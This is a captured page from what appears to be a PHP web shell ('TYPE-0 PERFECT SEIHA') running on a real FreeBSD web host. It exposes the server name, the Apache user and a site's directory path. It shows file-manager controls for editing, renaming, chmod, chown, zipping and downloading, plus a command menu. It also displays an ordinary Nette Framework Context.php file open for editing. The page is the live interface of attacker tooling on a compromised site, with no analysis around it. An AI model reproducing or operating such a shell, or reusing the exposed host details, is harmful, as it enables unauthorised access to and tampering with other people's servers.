TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
addlogo
home
vendor
nette
http
src
Http
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/addlogo/home/vendor/nette/http/src/Http/Context.php
<?php /** * This file is part of the Nette Framework (http://nette.org) * Copyright (c) 2004 David Grudl (http://davidgrudl.com) */ namespace Nette\Http; use Nette; /** * HTTP-specific tasks. * * @property-read bool $modified * @property-read IRequest $request * @property-read IResponse $response */ class Context extends Nette\Object { /** @var IRequest */ private $request; /** @var IResponse */ private $response; public function __construct(IRequest $request, IResponse $response) { $this->request = $request; $this->response = $response; } /** * Attempts to cache the sent entity by its last modification date. * @param string|int|\DateTime last modified time * @param string strong entity tag validator * @return bool */ public function isModified($lastModified = NULL, $etag = NULL) { if ($lastModified) { $this->response->setHeader('Last-Modified', Helpers::formatDate($lastModified)); } if ($etag) { $this->response->setHeader('ETag', '"' . addslashes($etag) . '"'); } $ifNoneMatch = $this->request->getHeader('If-None-Match'); if ($ifNoneMatch === '*') { $match = TRUE; // match, check if-modified-since } elseif ($ifNoneMatch !== NULL) { $etag = $this->response->getHeader('ETag'); if ($etag == NULL || strpos(' ' . strtr($ifNoneMatch, ",\t", ' '), ' ' . $etag) === FALSE) { return TRUE; } else { $match = TRUE; // match, check if-modified-since } } $ifModifiedSince = $this->request->getHeader('If-Modified-Since'); if ($ifModifiedSince !== NULL) { $lastModified = $this->response->getHeader('Last-Modified'); if ($lastModified != NULL && strtotime($lastModified) <= strtotime($ifModifiedSince)) { $match = TRUE; } else { return TRUE; } } if (empty($match)) { return TRUE; } $this->response->setCode(IResponse::S304_NOT_MODIFIED); return FALSE; } /** * @return IRequest */ public function getRequest() { return $this->request; } /** * @return IResponse */ public function getResponse() { return $this->response; } }
Crotin
Name
Size
Permissions
Modified
User/Group
SessionSection.php
4731
0644
2015-09-30 18:28:53
Unknown/Unknown
Url.php
10152
0644
2015-09-30 18:28:53
Unknown/Unknown
Session.php
13365
0644
2015-09-30 18:28:54
Unknown/Unknown
UserStorage.php
4543
0644
2015-09-30 18:28:53
Unknown/Unknown
IRequest.php
2686
0644
2015-09-30 18:28:53
Unknown/Unknown
IResponse.php
3724
0644
2015-09-30 18:28:54
Unknown/Unknown
Context.php
2093
0644
2015-09-30 18:28:54
Unknown/Unknown
UrlScript.php
1435
0644
2015-09-30 18:28:54
Unknown/Unknown
FileUpload.php
3934
0644
2015-09-30 18:28:54
Unknown/Unknown
RequestFactory.php
6527
0644
2015-09-30 18:28:54
Unknown/Unknown
ISessionStorage.php
516
0644
2015-09-30 18:28:53
Unknown/Unknown
Request.php
6795
0644
2015-09-30 18:28:54
Unknown/Unknown
Helpers.php
1873
0644
2015-09-30 18:28:53
Unknown/Unknown
Response.php
7984
0644
2015-09-30 18:28:54
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin